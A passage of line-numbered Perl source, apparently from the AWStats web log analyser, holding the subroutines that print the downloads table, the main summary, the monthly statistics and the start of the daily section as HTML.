$_domener_h{$key} ) ) 12835 . " /><br />\n"; 12836 } 12837 if ( $ShowDomainsStats =~ /B/i ) { 12838 print 12839"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\"" 12840 . AltTitle( 12841 "$Message[75]: " . Format_Bytes( $_domener_k{$key} ) ) 12842 . " />"; 12843 } 12844 print "</td>"; 12845 print "</tr>\n"; 12846 $total_u += $_domener_u; 12847 $total_v += $_domener_v; 12848 $total_p += $_domener_p{$key}; 12849 $total_h += $_domener_h{$key}; 12850 $total_k += $_domener_k{$key} || 0; 12851 $count++; 12852 } 12853 my $rest_u = $TotalUnique - $total_u; 12854 my $rest_v = $TotalVisits - $total_v; 12855 $rest_p = $TotalPages - $total_p; 12856 $rest_h = $TotalHits - $total_h; 12857 $rest_k = $TotalBytes - $total_k; 12858 if ( $rest_u > 0 12859 || $rest_v > 0 12860 || $rest_p > 0 12861 || $rest_h > 0 12862 || $rest_k > 0 ) 12863 { # All other domains (known or not) 12864 print 12865"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; 12866 if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; } 12867 if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; } 12868 if ( $ShowDomainsStats =~ /P/i ) { print "<td>$rest_p</td>"; } 12869 if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; } 12870 if ( $ShowDomainsStats =~ /B/i ) { 12871 print "<td>" . Format_Bytes($rest_k) . "</td>"; 12872 } 12873 print "<td class=\"aws\"> </td>"; 12874 print "</tr>\n"; 12875 } 12876 &tab_end(); 12877 &html_end(1); 12878} 12879 12880#------------------------------------------------------------------------------ 12881# Function: Prints the Downloads code frame or static page 12882# Parameters: _ 12883# Input: _ 12884# Output: HTML 12885# Return: - 12886#------------------------------------------------------------------------------ 12887sub HTMLShowDownloads{ 12888 my $regext = qr/\.(\w{1,6})$/; 12889 print "$Center<a name=\"downloads\"> </a><br />\n"; 12890 &tab_head( $Message[178], 19, 0, "downloads" ); 12891 print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]</th>"; 12892 if ( $ShowFileTypesStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>" 12893 ."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; } 12894 if ( $ShowFileTypesStats =~ /B/i ){ 12895 print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; 12896 print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; 12897 } 12898 print "</tr>\n"; 12899 my $count = 0; 12900 for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ 12901 print "<tr>"; 12902 my $ext = Get_Extension($regext, $u); 12903 if ( !$ext) { 12904 print "<td" 12905 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 12906 . "><img src=\"$DirIcons\/mime\/unknown.png\"" 12907 . AltTitle("") 12908 . " /></td>"; 12909 } 12910 else { 12911 my $nameicon = $MimeHashLib{$ext}[0] || "notavailable"; 12912 my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || " "; 12913 print "<td" 12914 . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) 12915 . "><img src=\"$DirIcons\/mime\/$nameicon.png\"" 12916 . AltTitle("") 12917 . " /></td>"; 12918 } 12919 print "<td class=\"aws\">"; 12920 &HTMLShowURLInfo($u); 12921 print "</td>"; 12922 if ( $ShowFileTypesStats =~ /H/i ){ 12923 print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>"; 12924 print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>"; 12925 } 12926 if ( $ShowFileTypesStats =~ /B/i ){ 12927 print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>"; 12928 print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/ 12929 ($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>"; 12930 } 12931 print "</tr>\n"; 12932 $count++; 12933 if ($count >= $MaxRowsInHTMLOutput){last;} 12934 } 12935 &tab_end(); 12936 &html_end(1); 12937} 12938 12939#------------------------------------------------------------------------------ 12940# Function: Prints the Summary section at the top of the main page 12941# Parameters: _ 12942# Input: _ 12943# Output: HTML 12944# Return: - 12945#------------------------------------------------------------------------------ 12946sub HTMLMainSummary{ 12947 if ($Debug) { debug( "ShowSummary", 2 ); } 12948 # FirstTime LastTime 12949 my $FirstTime = 0; 12950 my $LastTime = 0; 12951 foreach my $key ( keys %FirstTime ) { 12952 my $keyqualified = 0; 12953 if ( $MonthRequired eq 'all' ) { $keyqualified = 1; } 12954 if ( $key =~ /^$YearRequired$MonthRequired/ ) { $keyqualified = 1; } 12955 if ($keyqualified) { 12956 if ( $FirstTime{$key} 12957 && ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) ) 12958 { 12959 $FirstTime = $FirstTime{$key}; 12960 } 12961 if ( $LastTime < ( $LastTime{$key} || 0 ) ) { 12962 $LastTime = $LastTime{$key}; 12963 } 12964 } 12965 } 12966 12967 #print "$Center<a name=\"summary\"> </a><br />\n"; 12968 my $title = "$Message[128]"; 12969 &tab_head( "$title", 0, 0, 'month' ); 12970 12971 my $NewLinkParams = ${QueryString}; 12972 $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; 12973 $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; 12974 $NewLinkParams =~ s/(^|&|&)year=[^&]*//i; 12975 $NewLinkParams =~ s/(^|&|&)month=[^&]*//i; 12976 $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; 12977 $NewLinkParams =~ s/(&|&)+/&/i; 12978 $NewLinkParams =~ s/^&//; 12979 $NewLinkParams =~ s/&$//; 12980 if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } 12981 my $NewLinkTarget = ''; 12982 12983 if ( $FrameName eq 'mainright' ) { 12984 $NewLinkTarget = " target=\"_parent\""; 12985 } 12986 12987 # Ratio 12988 my $RatioVisits = 0; 12989 my $RatioPages = 0; 12990 my $RatioHits = 0; 12991 my $RatioBytes = 0; 12992 if ( $TotalUnique > 0 ) { 12993 $RatioVisits = int( $TotalVisits / $TotalUnique * 100 ) / 100; 12994 } 12995 if ( $TotalVisits > 0 ) { 12996 $RatioPages = int( $TotalPages / $TotalVisits * 100 ) / 100; 12997 } 12998 if ( $TotalVisits > 0 ) { 12999 $RatioHits = int( $TotalHits / $TotalVisits * 100 ) / 100; 13000 } 13001 if ( $TotalVisits > 0 ) { 13002 $RatioBytes = 13003 int( ( $TotalBytes / 1024 ) * 100 / 13004 ( $LogType eq 'M' ? $TotalHits : $TotalVisits ) ) / 100; 13005 } 13006 13007 my $colspan = 5; 13008 my $w = '20'; 13009 if ( $LogType eq 'W' || $LogType eq 'S' ) { 13010 $w = '17'; 13011 $colspan = 6; 13012 } 13013 13014 # Show first/last 13015 print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; 13016 print 13017"<td class=\"aws\"><b>$Message[133]</b></td><td class=\"aws\" colspan=\"" 13018 . ( $colspan - 1 ) . "\">\n"; 13019 print( $MonthRequired eq 'all' 13020 ? "$Message[6] $YearRequired" 13021 : "$Message[5] " 13022 . $MonthNumLib{$MonthRequired} 13023 . " $YearRequired" 13024 ); 13025 print "</td></tr>\n"; 13026 print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; 13027 print "<td class=\"aws\"><b>$Message[8]</b></td>\n"; 13028 print "<td class=\"aws\" colspan=\"" 13029 . ( $colspan - 1 ) . "\">" 13030 . ( $FirstTime ? Format_Date( $FirstTime, 0 ) : "NA" ) . "</td>"; 13031 print "</tr>\n"; 13032 print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; 13033 print "<td class=\"aws\"><b>$Message[9]</b></td>\n"; 13034 print "<td class=\"aws\" colspan=\"" 13035 . ( $colspan - 1 ) . "\">" 13036 . ( $LastTime ? Format_Date( $LastTime, 0 ) : "NA" ) 13037 . "</td>\n"; 13038 print "</tr>\n"; 13039 13040 # Show main indicators title row 13041 print "<tr>"; 13042 if ( $LogType eq 'W' || $LogType eq 'S' ) { 13043 print "<td bgcolor=\"#$color_TableBGTitle\"> </td>"; 13044 } 13045 if ( $ShowSummary =~ /U/i ) { 13046 print "<td width=\"$w%\" bgcolor=\"#$color_u\"" 13047 . Tooltip(2) 13048 . ">$Message[11]</td>"; 13049 } 13050 else { 13051 print 13052"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; 13053 } 13054 if ( $ShowSummary =~ /V/i ) { 13055 print "<td width=\"$w%\" bgcolor=\"#$color_v\"" 13056 . Tooltip(1) 13057 . ">$Message[10]</td>"; 13058 } 13059 else { 13060 print 13061"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; 13062 } 13063 if ( $ShowSummary =~ /P/i ) { 13064 print "<td width=\"$w%\" bgcolor=\"#$color_p\"" 13065 . Tooltip(3) 13066 . ">$Message[56]</td>"; 13067 } 13068 else { 13069 print 13070"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; 13071 } 13072 if ( $ShowSummary =~ /H/i ) { 13073 print "<td width=\"$w%\" bgcolor=\"#$color_h\"" 13074 . Tooltip(4) 13075 . ">$Message[57]</td>"; 13076 } 13077 else { 13078 print 13079"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; 13080 } 13081 if ( $ShowSummary =~ /B/i ) { 13082 print "<td width=\"$w%\" bgcolor=\"#$color_k\"" 13083 . Tooltip(5) 13084 . ">$Message[75]</td>"; 13085 } 13086 else { 13087 print 13088"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; 13089 } 13090 print "</tr>\n"; 13091 13092 # Show main indicators values for viewed traffic 13093 print "<tr>"; 13094 if ( $LogType eq 'M' ) { 13095 print "<td class=\"aws\">$Message[165]</td>"; 13096 print "<td> <br /> </td>\n"; 13097 print "<td> <br /> </td>\n"; 13098 if ( $ShowSummary =~ /H/i ) { 13099 print "<td><b>".Format_Number($TotalHits)."</b>" 13100 . ( 13101 $LogType eq 'M' 13102 ? "" 13103 : "<br />($RatioHits " 13104 . lc( $Message[57] . "/" . $Message[12] ) . ")" 13105 ) 13106 . "</td>"; 13107 } 13108 else { print "<td> </td>"; } 13109 if ( $ShowSummary =~ /B/i ) { 13110 print "<td><b>" 13111 . Format_Bytes( int($TotalBytes) ) 13112 . "</b><br />($RatioBytes $Message[108]/" 13113 . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ] 13114 . ")</td>"; 13115 } 13116 else { print "<td> </td>"; } 13117 } 13118 else { 13119 if ( $LogType eq 'W' || $LogType eq 'S' ) { 13120 print "<td class=\"aws\">$Message[160] *</td>"; 13121 } 13122 if ( $ShowSummary =~ /U/i ) { 13123 print "<td>" 13124 . ( 13125 $MonthRequired eq 'all' 13126 ? "<b><= ".Format_Number($TotalUnique)."</b><br />$Message[129]" 13127 : "<b>".Format_Number($TotalUnique)."</b><br /> " 13128 ) 13129 . "</td>"; 13130 } 13131 else { print "<td> </td>"; } 13132 if ( $ShowSummary =~ /V/i ) { 13133 print 13134"<td><b>".Format_Number($TotalVisits)."</b><br />($RatioVisits $Message[52])</td>"; 13135 } 13136 else { print "<td> </td>"; } 13137 if ( $ShowSummary =~ /P/i ) { 13138 print "<td><b>".Format_Number($TotalPages)."</b><br />($RatioPages " 13139 . $Message[56] . "/" 13140 . $Message[12] 13141 . ")</td>"; 13142 } 13143 else { print "<td> </td>"; } 13144 if ( $ShowSummary =~ /H/i ) { 13145 print "<td><b>".Format_Number($TotalHits)."</b>" 13146 . ( 13147 $LogType eq 'M' 13148 ? "" 13149 : "<br />($RatioHits " 13150 . $Message[57] . "/" 13151 . $Message[12] . ")" 13152 ) 13153 . "</td>"; 13154 } 13155 else { print "<td> </td>"; } 13156 if ( $ShowSummary =~ /B/i ) { 13157 print "<td><b>" 13158 . Format_Bytes( int($TotalBytes) ) 13159 . "</b><br />($RatioBytes $Message[108]/" 13160 . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ] 13161 . ")</td>"; 13162 } 13163 else { print "<td> </td>"; } 13164 } 13165 print "</tr>\n"; 13166 13167 # Show main indicators values for not viewed traffic values 13168 if ( $LogType eq 'M' || $LogType eq 'W' || $LogType eq 'S' ) { 13169 print "<tr>"; 13170 if ( $LogType eq 'M' ) { 13171 print "<td class=\"aws\">$Message[166]</td>"; 13172 print "<td> <br /> </td>\n"; 13173 print "<td> <br /> </td>\n"; 13174 if ( $ShowSummary =~ /H/i ) { 13175 print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>"; 13176 } 13177 else { print "<td> </td>"; } 13178 if ( $ShowSummary =~ /B/i ) { 13179 print "<td><b>" 13180 . Format_Bytes( int($TotalNotViewedBytes) ) 13181 . "</b></td>"; 13182 } 13183 else { print "<td> </td>"; } 13184 } 13185 else { 13186 if ( $LogType eq 'W' || $LogType eq 'S' ) { 13187 print "<td class=\"aws\">$Message[161] *</td>"; 13188 } 13189 print "<td colspan=\"2\"> <br /> </td>\n"; 13190 if ( $ShowSummary =~ /P/i ) { 13191 print "<td><b>".Format_Number($TotalNotViewedPages)."</b></td>"; 13192 } 13193 else { print "<td> </td>"; } 13194 if ( $ShowSummary =~ /H/i ) { 13195 print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>"; 13196 } 13197 else { print "<td> </td>"; } 13198 if ( $ShowSummary =~ /B/i ) { 13199 print "<td><b>" 13200 . Format_Bytes( int($TotalNotViewedBytes) ) 13201 . "</b></td>"; 13202 } 13203 else { print "<td> </td>"; } 13204 } 13205 print "</tr>\n"; 13206 } 13207 &tab_end($LogType eq 'W' 13208 || $LogType eq 'S' ? "* $Message[159]" : "" ); 13209} 13210 13211#------------------------------------------------------------------------------ 13212# Function: Prints the Monthly section on the main page 13213# Parameters: _ 13214# Input: _ 13215# Output: HTML 13216# Return: - 13217#------------------------------------------------------------------------------ 13218sub HTMLMainMonthly{ 13219 if ($Debug) { debug( "ShowMonthStats", 2 ); } 13220 print "$Center<a name=\"month\"> </a><br />\n"; 13221 my $title = "$Message[162]"; 13222 &tab_head( "$title", 0, 0, 'month' ); 13223 print "<tr><td align=\"center\">\n"; 13224 print "<center>\n"; 13225 13226 my $average_nb = my $average_u = my $average_v = my $average_p = 0; 13227 my $average_h = my $average_k = 0; 13228 my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0; 13229 my $max_v = my $max_p = my $max_h = my $max_k = 1; 13230 13231 # Define total and max 13232 for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { 13233 my $monthix = sprintf( "%02s", $ix ); 13234 $total_u += $MonthUnique{ $YearRequired . $monthix } || 0; 13235 $total_v += $MonthVisits{ $YearRequired . $monthix } || 0; 13236 $total_p += $MonthPages{ $YearRequired . $monthix } || 0; 13237 $total_h += $MonthHits{ $YearRequired . $monthix } || 0; 13238 $total_k += $MonthBytes{ $YearRequired . $monthix } || 0; 13239 13240#if (($MonthUnique{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthUnique{$YearRequired.$monthix}; } 13241 if ( 13242 ( $MonthVisits{ $YearRequired . $monthix } || 0 ) > $max_v ) 13243 { 13244 $max_v = $MonthVisits{ $YearRequired . $monthix }; 13245 } 13246 13247#if (($MonthPages{$YearRequired.$monthix}||0) > $max_p) { $max_p=$MonthPages{$YearRequired.$monthix}; } 13248 if ( ( $MonthHits{ $YearRequired . $monthix } || 0 ) > $max_h ) 13249 { 13250 $max_h = $MonthHits{ $YearRequired . $monthix }; 13251 } 13252 if ( ( $MonthBytes{ $YearRequired . $monthix } || 0 ) > $max_k ) 13253 { 13254 $max_k = $MonthBytes{ $YearRequired . $monthix }; 13255 } 13256 } 13257 13258 # Define average 13259 # TODO 13260 13261 # Show bars for month 13262 my $graphdone=0; 13263 foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) 13264 { 13265 my @blocklabel = (); 13266 for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { 13267 my $monthix = sprintf( "%02s", $ix ); 13268 push @blocklabel, 13269 "$MonthNumLib{$monthix}\n$YearRequired"; 13270 } 13271 my @vallabel = ( 13272 "$Message[11]", "$Message[10]", 13273 "$Message[56]", "$Message[57]", 13274 "$Message[75]" 13275 ); 13276 my @valcolor = 13277 ( "$color_u", "$color_v", "$color_p", "$color_h", 13278 "$color_k" ); 13279 my @valmax = ( $max_v, $max_v, $max_h, $max_h, $max_k ); 13280 my @valtotal = 13281 ( $total_u, $total_v, $total_p, $total_h, $total_k ); 13282 my @valaverage = (); 13283 13284 #my @valaverage=($average_v,$average_p,$average_h,$average_k); 13285 my @valdata = (); 13286 my $xx = 0; 13287 for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { 13288 my $monthix = sprintf( "%02s", $ix ); 13289 $valdata[ $xx++ ] = $MonthUnique{ $YearRequired . $monthix } 13290 || 0; 13291 $valdata[ $xx++ ] = $MonthVisits{ $YearRequired . $monthix } 13292 || 0; 13293 $valdata[ $xx++ ] = $MonthPages{ $YearRequired . $monthix } 13294 || 0; 13295 $valdata[ $xx++ ] = $MonthHits{ $YearRequired . $monthix } 13296 || 0; 13297 $valdata[ $xx++ ] = $MonthBytes{ $YearRequired . $monthix } 13298 || 0; 13299 } 13300 13301 my $function = "ShowGraph_$pluginname"; 13302 &$function( 13303 "$title", "month", 13304 $ShowMonthStats, \@blocklabel, 13305 \@vallabel, \@valcolor, 13306 \@valmax, \@valtotal, 13307 \@valaverage, \@valdata 13308 ); 13309 $graphdone=1; 13310 } 13311 if (! $graphdone) 13312 { 13313 print "<table>\n"; 13314 print "<tr valign=\"bottom\">"; 13315 print "<td> </td>\n"; 13316 for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { 13317 my $monthix = sprintf( "%02s", $ix ); 13318 my $bredde_u = 0; 13319 my $bredde_v = 0; 13320 my $bredde_p = 0; 13321 my $bredde_h = 0; 13322 my $bredde_k = 0; 13323 if ( $max_v > 0 ) { 13324 $bredde_u = 13325 int( 13326 ( $MonthUnique{ $YearRequired . $monthix } || 0 ) / 13327 $max_v * $BarHeight ) + 1; 13328 } 13329 if ( $max_v > 0 ) { 13330 $bredde_v = 13331 int( 13332 ( $MonthVisits{ $YearRequired . $monthix } || 0 ) / 13333 $max_v * $BarHeight ) + 1; 13334 } 13335 if ( $max_h > 0 ) { 13336 $bredde_p = 13337 int( 13338 ( $MonthPages{ $YearRequired . $monthix } || 0 ) / 13339 $max_h * $BarHeight ) + 1; 13340 } 13341 if ( $max_h > 0 ) { 13342 $bredde_h = 13343 int( ( $MonthHits{ $YearRequired . $monthix } || 0 ) / 13344 $max_h * $BarHeight ) + 1; 13345 } 13346 if ( $max_k > 0 ) { 13347 $bredde_k = 13348 int( 13349 ( $MonthBytes{ $YearRequired . $monthix } || 0 ) / 13350 $max_k * $BarHeight ) + 1; 13351 } 13352 print "<td>"; 13353 if ( $ShowMonthStats =~ /U/i ) { 13354 print 13355"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vu'}\" height=\"$bredde_u\" width=\"6\"" 13356 . AltTitle( "$Message[11]: " 13357 . ( $MonthUnique{ $YearRequired . $monthix } 13358 || 0 ) ) 13359 . " />"; 13360 } 13361 if ( $ShowMonthStats =~ /V/i ) { 13362 print 13363"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"6\"" 13364 . AltTitle( "$Message[10]: " 13365 . ( $MonthVisits{ $YearRequired . $monthix } 13366 || 0 ) ) 13367 . " />"; 13368 } 13369 if ( $ShowMonthStats =~ /P/i ) { 13370 print 13371"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"" 13372 . AltTitle( "$Message[56]: " 13373 . ( $MonthPages{ $YearRequired . $monthix } || 0 ) 13374 ) 13375 . " />"; 13376 } 13377 if ( $ShowMonthStats =~ /H/i ) { 13378 print 13379"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"" 13380 . AltTitle( "$Message[57]: " 13381 . ( $MonthHits{ $YearRequired . $monthix } || 0 ) 13382 ) 13383 . " />"; 13384 } 13385 if ( $ShowMonthStats =~ /B/i ) { 13386 print 13387"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"" 13388 . AltTitle( 13389 "$Message[75]: " 13390 . Format_Bytes( 13391 $MonthBytes{ $YearRequired . $monthix } 13392 ) 13393 ) 13394 . " />"; 13395 } 13396 print "</td>\n"; 13397 } 13398 print "<td> </td>"; 13399 print "</tr>\n"; 13400 13401 # Show lib for month 13402 print "<tr valign=\"middle\">"; 13403 13404 #if (!$StaticLinks) { 13405 # print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=12&year=".($YearRequired-1))."\"><<</a></td>"; 13406 #} 13407 #else { 13408 print "<td> </td>"; 13409 13410 # } 13411 for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { 13412 my $monthix = sprintf( "%02s", $ix ); 13413 13414# if (!$StaticLinks) { 13415# print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=$monthix&year=$YearRequired")."\">$MonthNumLib{$monthix}<br />$YearRequired</a></td>"; 13416# } 13417# else { 13418 print "<td>" 13419 . ( 13420 !$StaticLinks 13421 && $monthix == $nowmonth 13422 && $YearRequired == $nowyear 13423 ? '<span class="currentday">' 13424 : '' 13425 ); 13426 print "$MonthNumLib{$monthix}<br />$YearRequired"; 13427 print( !$StaticLinks 13428 && $monthix == $nowmonth 13429 && $YearRequired == $nowyear ? '</span>' : '' ); 13430 print "</td>"; 13431 13432 # } 13433 } 13434 13435# if (!$StaticLinks) { 13436# print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=1&year=".($YearRequired+1))."\">>></a></td>"; 13437# } 13438# else { 13439 print "<td> </td>"; 13440 13441 # } 13442 print "</tr>\n"; 13443 print "</table>\n"; 13444 } 13445 print "<br />\n"; 13446 13447 # Show data array for month 13448 if ($AddDataArrayMonthStats) { 13449 print "<table>\n"; 13450 print 13451"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[5]</td>"; 13452 if ( $ShowMonthStats =~ /U/i ) { 13453 print "<td width=\"80\" bgcolor=\"#$color_u\"" 13454 . Tooltip(2) 13455 . ">$Message[11]</td>"; 13456 } 13457 if ( $ShowMonthStats =~ /V/i ) { 13458 print "<td width=\"80\" bgcolor=\"#$color_v\"" 13459 . Tooltip(1) 13460 . ">$Message[10]</td>"; 13461 } 13462 if ( $ShowMonthStats =~ /P/i ) { 13463 print "<td width=\"80\" bgcolor=\"#$color_p\"" 13464 . Tooltip(3) 13465 . ">$Message[56]</td>"; 13466 } 13467 if ( $ShowMonthStats =~ /H/i ) { 13468 print "<td width=\"80\" bgcolor=\"#$color_h\"" 13469 . Tooltip(4) 13470 . ">$Message[57]</td>"; 13471 } 13472 if ( $ShowMonthStats =~ /B/i ) { 13473 print "<td width=\"80\" bgcolor=\"#$color_k\"" 13474 . Tooltip(5) 13475 . ">$Message[75]</td>"; 13476 } 13477 print "</tr>\n"; 13478 for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { 13479 my $monthix = sprintf( "%02s", $ix ); 13480 print "<tr>"; 13481 print "<td>" 13482 . ( 13483 !$StaticLinks 13484 && $monthix == $nowmonth 13485 && $YearRequired == $nowyear 13486 ? '<span class="currentday">' 13487 : '' 13488 ); 13489 print "$MonthNumLib{$monthix} $YearRequired"; 13490 print( !$StaticLinks 13491 && $monthix == $nowmonth 13492 && $YearRequired == $nowyear ? '</span>' : '' ); 13493 print "</td>"; 13494 if ( $ShowMonthStats =~ /U/i ) { 13495 print "<td>", 13496 Format_Number($MonthUnique{ $YearRequired . $monthix } 13497 ? $MonthUnique{ $YearRequired . $monthix } 13498 : "0"), "</td>"; 13499 } 13500 if ( $ShowMonthStats =~ /V/i ) { 13501 print "<td>", 13502 Format_Number($MonthVisits{ $YearRequired . $monthix } 13503 ? $MonthVisits{ $YearRequired . $monthix } 13504 : "0"), "</td>"; 13505 } 13506 if ( $ShowMonthStats =~ /P/i ) { 13507 print "<td>", 13508 Format_Number($MonthPages{ $YearRequired . $monthix } 13509 ? $MonthPages{ $YearRequired . $monthix } 13510 : "0"), "</td>"; 13511 } 13512 if ( $ShowMonthStats =~ /H/i ) { 13513 print "<td>", 13514 Format_Number($MonthHits{ $YearRequired . $monthix } 13515 ? $MonthHits{ $YearRequired . $monthix } 13516 : "0"), "</td>"; 13517 } 13518 if ( $ShowMonthStats =~ /B/i ) { 13519 print "<td>", 13520 Format_Bytes( 13521 int( $MonthBytes{ $YearRequired . $monthix } || 0 ) 13522 ), "</td>"; 13523 } 13524 print "</tr>\n"; 13525 } 13526 13527 # Average row 13528 # TODO 13529 # Total row 13530 print 13531"<tr><td bgcolor=\"#$color_TableBGRowTitle\">$Message[102]</td>"; 13532 if ( $ShowMonthStats =~ /U/i ) { 13533 print 13534 "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_u)."</td>"; 13535 } 13536 if ( $ShowMonthStats =~ /V/i ) { 13537 print 13538 "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_v)."</td>"; 13539 } 13540 if ( $ShowMonthStats =~ /P/i ) { 13541 print 13542 "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_p)."</td>"; 13543 } 13544 if ( $ShowMonthStats =~ /H/i ) { 13545 print 13546 "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_h)."</td>"; 13547 } 13548 if ( $ShowMonthStats =~ /B/i ) { 13549 print "<td bgcolor=\"#$color_TableBGRowTitle\">" 13550 . Format_Bytes($total_k) . "</td>"; 13551 } 13552 print "</tr>\n"; 13553 print "</table>\n<br />\n"; 13554 } 13555 13556 print "</center>\n"; 13557 print "</td></tr>\n"; 13558 &tab_end(); 13559} 13560 13561#------------------------------------------------------------------------------ 13562# Function: Prints the Daily section on the main page 13563# Parameters: $firstdaytocountaverage, $lastdaytocountaverage 13564# $firstdaytoshowtime, $lastdaytoshowtime 13565# Input: _ 13566# Output: HTML 13567# Return: - 13568#------------------------------------------------------------------------------ 13569sub HTMLMainDaily{ 13570 my $firstdaytocountaverage = shift; 13571 my $lastdaytocountaverage = shift; 13572 my $firstdaytoshowtime = shift; 13573 my $lastdaytoshowtime = shift; 13574 13575 if ($Debug) { debug( "ShowDaysOfMonthStats", 2 ); } 13576 print "$Center<a name=\"daysofmonth\"> </a><br />\n"; 13577 13578 my $NewLinkParams = ${QueryString}; 13579 $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; 13580 $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; 13581 $NewLinkParams =~ s/(^|&|&)year=[^&]*//i; 13582 $NewLinkParams =~ s/(^|&|&)month=[^&]*//i; 13583 $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; 13584 $NewLinkParams =~ s/(&|&)+/&/i; 13585 $NewLinkParams =~ s/^&//; 13586 $NewLinkParams =~ s/&$//; 13587 if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } 13588 my $NewLinkTarget = ''; 13589 13590 if ( $FrameName eq 'mainright' ) { 13591 $NewLinkTarget = " target=\"_parent\""; 13592 } 13593 13594 my $title = "$Message[138]"; 13595 13596 if ($AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { 13597 # extend the title to include the added link 13598 $title = "$title - <a href=\"".(XMLEncode( 13599 "$AddLinkToExternalCGIWrapper". "?section=DAY&baseName=$DirData/$PROG" 13600 . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" 13601 . "&siteConfig=$SiteConfig" ) 13602 . "\"$NewLinkTarget>$Message[179]</a>"); 13603 } 13604 13605 &tab_head( "$title", 0, 0, 'daysofmonth' ); 13606 print "<tr>"; 13607 print "<td align=\"center\">\n"; 13608 print "<center>\n"; 13609 13610 my $average_v = my $average_p = 0; 13611 my $average_h = my $average_k = 0; 13612 my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0; 13613 my $max_v = my $max_h = my $max_k = 0; # Start from 0 because can be lower than 1 13614 foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) 13615 { 13616 $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; 13617 my $year = $1; 13618 my $month = $2; 13619 my $day = $3; 13620 if ( !DateIsValid( $day, $month, $year ) ) { 13621 next; 13622 } # If not an existing day, go to next 13623 $total_v += $DayVisits{ $year . $month . $day } || 0; 13624 $total_p += $DayPages{ $year . $month . $day } || 0; 13625 $total_h += $DayHits{ $year . $month . $day } || 0; 13626 $total_k += $DayBytes{ $year . $month . $day } || 0; 13627 if ( ( $DayVisits{ $year . $month . $day } || 0 ) > $max_v ) { 13628 $max_v = $DayVisits{ $year . $month . $day }; 13629 } 13630 13631#if (($DayPages{$year.$month.$day}||0) > $max_p) { $max_p=$DayPages{$year.$month.$day}; } 13632 if ( ( $DayHits{ $year . $month . $day } || 0 ) > $max_h ) { 13633 $max_h = $DayHits{ $year . $month . $day }; 13634 } 13635 if ( ( $DayBytes{ $year . $month . $day } || 0 ) > $max_k 